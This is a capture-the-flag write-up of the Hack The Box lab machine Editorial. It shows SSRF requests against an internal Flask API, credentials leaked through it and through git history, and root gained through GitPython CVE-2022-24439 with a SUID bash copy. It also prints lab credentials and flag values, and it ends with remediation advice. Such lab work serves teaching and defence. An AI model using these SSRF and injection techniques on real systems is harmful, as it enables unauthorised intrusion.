HTB: Editorial

Editorial is an easy Linux machine featuring a book-publishing web app vulnerable to server-side request forgery, an internal Flask API leaking dev credentials, plaintext credentials in git history for lateral movement, and a GitPython RCE (CVE-2022-24439) via a root sudo script for privilege escalation.

$ cat editorial.md | grep -E "time|words"13 min read · 2695 words

Editorial Avatar

TL;DR#

IPs#

Hack The Box assigned the IP address 10.10.11.20 for Editorial. I will use 10.10.4.4 for my Kali throughout this writeup, please change to your own IP.

Kill Chain#

Editorial Tiempo Arriba ➔ SSRF ➔ Internal Flask API (Port 5000) ➔ Credential Disclosure ➔ dev ➔ Git History Leak ➔ prod ➔ GitPython RCE: CVE-2022-24439 ➔ root

Reconnaissance & Enumeration#

TCP Scan: nmap#

My nmap scan shows two open TCP ports, 22/ssh and 80/http running nginx 1.18.0. The web server also redirects me to a domain:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ nmap -sC -sV -p- --min-rate 10000 10.10.11.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-25 20:38 UTC
Nmap scan report for 10.10.11.20
Host is up (0.043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.47 seconds
nmap — cheatsheet reference
  • -sC runs the default script scan, -sV detects service versions, -p- scans all 65535 ports, and --min-rate 10000 forces a fast packet rate.

The redirect points me at editorial.htb, so I map it to my /etc/hosts right away before I touch the website:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts

Content Enumeration: feroxbuster#

feroxbuster finds an upload endpoint on editorial.htb/upload-cover:

Website: Port 80#

The website editorial.htb is a small book-publishing company called Editorial Tiempo Arriba:

The navigation has a Publish with us link. The form takes some book information including a Cover URL field that fetches a remote image:

A field that pulls a URL server-side always smells like Server-Side Request Forgery (SSRF). Let me confirm that.

SSRF Check: Callback Test#

I start a netcat listener and point the Cover URL field at my kali:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
netcat — cheatsheet reference

Then I send the request and press the preview button:

Got the hit! The server calls back to me, so it fetches any URL I give it:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.4.4] from (UNKNOWN) [10.10.11.20] 35472
GET / HTTP/1.1
Host: 10.10.4.4:4444
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
netcat — cheatsheet reference

Initial Foothold#

Internal Port Scan: SSRF#

The server answers with a path under /static/uploads/ whenever a fetch works. I abuse that to scan 127.0.0.1 for internal services. Pointing at port 5000 returns a different response size than the closed ports, so something is listening there:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ curl -s http://editorial.htb/upload-cover -F "bookurl=http://127.0.0.1:5000" -F "bookfile=@shadowcat.png"
static/uploads/b952a516-f281-41a1-9ae6-ea196dbab783
curl — cheatsheet reference

The response is the saved copy of whatever port 5000 returned. I just read it back:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ curl -s http://editorial.htb/static/uploads/b952a516-f281-41a1-9ae6-ea196dbab783                         
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
curl — cheatsheet reference

An internal Flask API on port 5000. The new_authors endpoint sounds like it hands out onboarding info, so I go straight for it.

Credential Disclosure: Flask API#

I aim the SSRF at the authors endpoint and read the result back:

bash
┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ curl -s http://editorial.htb/upload-cover -F "bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors" -F "bookfile=@shadowcat.png"
static/uploads/80e245c5-13f0-47a8-82b5-d2969aac48ea

┌──(kali㉿shadowcat)-[~/htb/writeups/editorial]
└─$ curl -s http://editorial.htb/static/uploads/80e245c5-13f0-47a8-82b5-d2969aac48ea
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
curl — cheatsheet reference

There it is, plaintext credentials baked into a welcome message:

  • Username: dev
  • Password: dev080217_devAPI!@

SSH: dev#

Those creds work on ssh for the user dev:

I’m in! Let me run a id check and scan the home folder:

bash
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$ ls -al
total 32
drwxr-x--- 4 dev  dev  4096 Jun  5 14:36 .
drwxr-xr-x 4 root root 4096 Jun  5 14:36 ..
drwxrwxr-x 3 dev  dev  4096 Jun  5 14:36 apps
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan  6  2022 .bashrc
drwx------ 2 dev  dev  4096 Jun  5 14:36 .cache
-rw-r--r-- 1 dev  dev   807 Jan  6  2022 .profile
-rw-r----- 1 root dev    33 Nov 25 10:22 user.txt

User Flag#

I’ll grab the user flag:

bash
dev@editorial:~$ cat user.txt
11837e917490ae370ad3c0ca7adab41d

Lateral Movement#

Git History Leak: prod#

There’s an apps folder in dev’s home holding the source of the site and the API. The .git directory is the interesting part, so I read the full commit history:

Another team welcome message leaking more credentials:

  • Username: prod
  • Password: 080217_Producti0n_2023!@

Let me check if there is a prod user and try to su:

Credentials are still valid, I’m prod now!

Privilege Escalation#

Sudo Privileges: sudo -l#

Checking sudo -l shows that prod can run a Python script as root with any argument:

bash
prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
sudo-abuse — cheatsheet reference

Script Review: clone_prod_change.py#

The script takes a URL I control and clones it with GitPython:

python
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

GitPython RCE: CVE-2022-24439#

I will double check which version of GitPython is running:

bash
prod@editorial:~$ pip freeze | grep -i git
gitdb==4.0.10
GitPython==3.1.29

The version of GitPython here passes my URL to git clone without sanitizing it, and protocol.ext.allow=always is explicitly turned on. That’s the exact setup for CVE-2022-24439.

The ext:: transport lets me smuggle a shell command through the clone URL. I copy bash and set the SUID bit on my own copy:

  • The ext::sh -c payload runs an arbitrary command as root; % stands in for spaces so git keeps the whole thing as one argument.

Works great! I run my SUID bash with -p to get root privileges:

bash
prod@editorial:~$ /tmp/shadowcat -p
shadowcat-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)

Root Flag#

Editorial is pwned, I cat the root flag:

bash
shadowcat-5.1# cat /root/root.txt
1cbaa2a9d36cd2956c93a5ffb97c4cfb

Pwned#

Vulnerabilities#

Beyond root, let me summarize which vulnerabilities I found and used on Editorial:

Vulnerabilities Summary#

vulnerabilities
VulnerabilityCVE / CWESeverityRoot CauseReal-World Impact
Server-Side Request Forgery (Cover URL fetch)CWE-918HighThe upload form fetches any user-supplied URL server-side with no allowlist or internal-address filterAttacker reaches internal-only services and reads their responses through the public app
Sensitive Data in API ResponseCWE-200HighThe internal Flask API returns onboarding text containing live account credentials in plaintextLeaked credentials give direct SSH foothold as dev
Cleartext Credentials in Git HistoryCWE-538MediumAn old commit stores the prod username and password in the repo diffAnyone who reads the repo recovers a valid higher-privilege account
GitPython Remote Code ExecutionCVE-2022-24439Criticalclone_from passes an unsanitized URL to git, allowing the ext:: transport to run commandsFull command execution as root
Insecure Sudo ConfigurationCWE-269Highprod may run a vulnerable clone script as root with a wildcard argumentAny injection in the script argument runs with root privileges

Remediation#

Fix the SSRF (CWE-918)#

Validate the Cover URL server-side. Only allow the http/https schemes and block requests to private and loopback ranges before fetching:

python
import ipaddress, socket
from urllib.parse import urlparse

def is_safe_url(url):
    parts = urlparse(url)
    if parts.scheme not in ("http", "https"):
        return False
    ip = ipaddress.ip_address(socket.gethostbyname(parts.hostname))
    return not (ip.is_private or ip.is_loopback or ip.is_link_local)

Stop Leaking Credentials in the API (CWE-200)#

Never ship real credentials in API text. Pull secrets from environment variables and rotate the exposed dev account:

bash
# rotate the leaked account and read secrets from the environment instead
passwd dev
export FORUM_DEV_PASS="$(openssl rand -base64 24)"

Purge Secrets from Git History (CWE-538)#

Rotate the prod password and rewrite history so the old secret is gone from every commit:

bash
passwd prod
pip install git-filter-repo
git filter-repo --path app_api/app.py --invert-paths
git push origin --force --all

Patch GitPython (CVE-2022-24439)#

Upgrade GitPython to a fixed release, which rejects the malicious clone URLs:

bash
pip install --upgrade "GitPython>=3.1.30"

Lock Down the Sudo Rule (CWE-269)#

Remove the wildcard sudo entry so prod can no longer feed arbitrary arguments to a root script. Edit with nano and delete the line:

bash
# remove this line from /etc/sudoers.d/prod
prod ALL=(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys